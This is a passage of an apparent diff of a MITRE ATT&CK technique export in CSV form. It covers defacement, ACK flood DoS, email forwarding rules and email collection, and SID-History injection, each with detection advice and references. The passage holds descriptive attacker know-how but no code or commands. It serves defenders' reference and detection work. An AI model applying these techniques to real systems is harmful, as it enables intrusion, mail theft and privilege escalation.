Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3,attack-pattern,['impact'],2021-03-08T10:33:01.745Z,2020-02-20T14:34:08.496Z,"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1491.001', 'url': 'https://attack.mitre.org/techniques/T1491/001'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1491/001,mitre-attack,T1491.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Internal Defacement,"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103,attack-pattern,['impact'],2020-03-29T22:57:04.784Z,2020-02-20T14:31:34.778Z,"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1114.003', 'url': 'https://attack.mitre.org/techniques/T1114/003'}, {'source_name': 'US-CERT TA18-068A 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.'}, {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,True,https://attack.mitre.org/techniques/T1114/003,mitre-attack,T1114.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Forwarding Rule,"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) +ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",['impact'],https://attack.mitre.org/techniques/T1499/001,mitre-attack,T1499.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",True,,"['Linux', 'macOS', 'Windows']",,CAPEC-482,https://capec.mitre.org/data/definitions/482.html,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491/002', 'external_id': 'T1491.002'}, {'source_name': 'FireEye Cyber Threats to Media Industries', 'description': 'FireEye. (n.d.). Retrieved April 19, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf'}, {'source_name': 'Kevin Mandia Statement to US Senate Committee on Intelligence', 'description': 'Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.', 'url': 'https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf'}, {'source_name': 'Anonymous Hackers Deface Russian Govt Site', 'description': 'Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.', 'url': 'https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/'}, {'source_name': 'Trend Micro Deep Dive Into Defacement', 'description': 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf'}]",1.1,attack-pattern,attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T14:34:08.496Z,2021-03-08T10:33:01.745Z,External Defacement,"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",['impact'],https://attack.mitre.org/techniques/T1491/002,mitre-attack,T1491.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",True,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491/001', 'external_id': 'T1491.001'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}]",1.0,attack-pattern,attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T14:31:34.778Z,2020-03-29T22:57:04.784Z,Internal Defacement,"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",['impact'],https://attack.mitre.org/techniques/T1491/001,mitre-attack,T1491.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/003', 'external_id': 'T1114.003'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}, {'source_name': 'Pfammatter - Hidden Inbox Rules', 'description': 'Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.', 'url': 'https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/'}, {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'}, {'source_name': 'Mac Forwarding Rules', 'description': 'Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.', 'url': 'https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac'}]",1.2,attack-pattern,attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:54:47.103Z,2021-10-15T20:19:33.416Z,Email Forwarding Rule,"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) -Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.",attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0,attack-pattern,['collection'],2021-03-25T13:08:30.699Z,2020-02-19T18:54:47.103Z,"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. +Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)",['collection'],https://attack.mitre.org/techniques/T1114/003,mitre-attack,T1114.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Security', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",['Application Log: Application Log Content'],,"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) -Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",['Application Log: Application Log Content'],"['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",,['User'],"['Office 365', 'Windows', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1114.002', 'url': 'https://attack.mitre.org/techniques/T1114/002'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,True,https://attack.mitre.org/techniques/T1114/002,mitre-attack,T1114.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Email Collection,"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a,attack-pattern,['collection'],2021-03-25T13:12:56.909Z,2020-02-19T18:52:24.547Z,"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).","['Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,,,"['Office 365', 'Windows', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1114.001', 'url': 'https://attack.mitre.org/techniques/T1114/001'}, {'source_name': 'Outlook File Sizes', 'url': 'https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/', 'description': ""N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.""}, {'source_name': 'Microsoft Outlook Files', 'url': 'https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790', 'description': 'Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1114/001,mitre-attack,T1114.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Email Collection,"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",True,['User'],"['Office 365', 'Windows', 'Google Workspace', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/002', 'external_id': 'T1114.002'}]",1.1,attack-pattern,attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:52:24.547Z,2021-03-25T13:12:56.909Z,Remote Email Collection,"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",['collection'],https://attack.mitre.org/techniques/T1114/002,mitre-attack,T1114.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",True,,"['Office 365', 'Windows', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/001', 'external_id': 'T1114.001'}, {'source_name': 'Outlook File Sizes', 'description': ""N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."", 'url': 'https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/'}, {'source_name': 'Microsoft Outlook Files', 'description': 'Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.', 'url': 'https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790'}]",1.0,attack-pattern,attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:46:06.098Z,2020-03-24T17:59:20.983Z,Local Email Collection,"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. -Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)",attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004,attack-pattern,['collection'],2020-03-24T17:59:20.983Z,2020-02-19T18:46:06.098Z,Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,"['File: File Access', 'Command: Command Execution']",,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134.005', 'url': 'https://attack.mitre.org/techniques/T1134/005'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx', 'description': 'Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.', 'source_name': 'Microsoft SID'}, {'url': 'https://msdn.microsoft.com/library/ms679833.aspx', 'description': 'Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.', 'source_name': 'Microsoft SID-History Attribute'}, {'url': 'https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems', 'description': 'Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.', 'source_name': 'Microsoft Well Known SIDs Jun 2017'}, {'url': 'https://technet.microsoft.com/library/ee617241.aspx', 'description': 'Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.', 'source_name': 'Microsoft Get-ADUser'}, {'url': 'https://adsecurity.org/?p=1772', 'description': 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.', 'source_name': 'AdSecurity SID History Sept 2015'}, {'url': 'https://msdn.microsoft.com/library/ms677982.aspx', 'description': 'Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.', 'source_name': 'Microsoft DsAddSidHistory'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1134/005,mitre-attack,T1134.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SID-History Injection,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). +Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)",['collection'],https://attack.mitre.org/techniques/T1114/001,mitre-attack,T1114.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/005', 'external_id': 'T1134.005'}, {'source_name': 'Microsoft SID', 'description': 'Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx'}, {'source_name': 'Microsoft SID-History Attribute', 'description': 'Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/ms679833.aspx'}, {'source_name': 'Microsoft Well Known SIDs Jun 2017', 'description': 'Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.', 'url': 'https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems'}, {'source_name': 'Microsoft Get-ADUser', 'description': 'Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.', 'url': 'https://technet.microsoft.com/library/ee617241.aspx'}, {'source_name': 'AdSecurity SID History Sept 2015', 'description': 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.', 'url': 'https://adsecurity.org/?p=1772'}, {'source_name': 'Microsoft DsAddSidHistory', 'description': 'Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/ms677982.aspx'}]",1.0,attack-pattern,attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:34:49.414Z,2021-02-09T15:49:58.414Z,SID-History Injection,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). -With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T15:49:58.414Z,2020-02-18T18:34:49.414Z,"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) +With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134/005,mitre-attack,T1134.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alain Homewood, Insomnia Security', 'Vincent Le Toux']","['Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification']",,"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) -Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)","['Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification']","['Alain Homewood, Insomnia Security', 'Vincent Le Toux']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134.004', 'url': 'https://attack.mitre.org/techniques/T1134/004'}, {'source_name': 'DidierStevens SelectMyParent Nov 2009', 'url': 'https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/', 'description': 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.'}, {'source_name': 'Microsoft UAC Nov 2018', 'url': 'https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works', 'description': 'Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.'}, {'source_name': 'CounterCept PPID Spoofing Dec 2018', 'url': 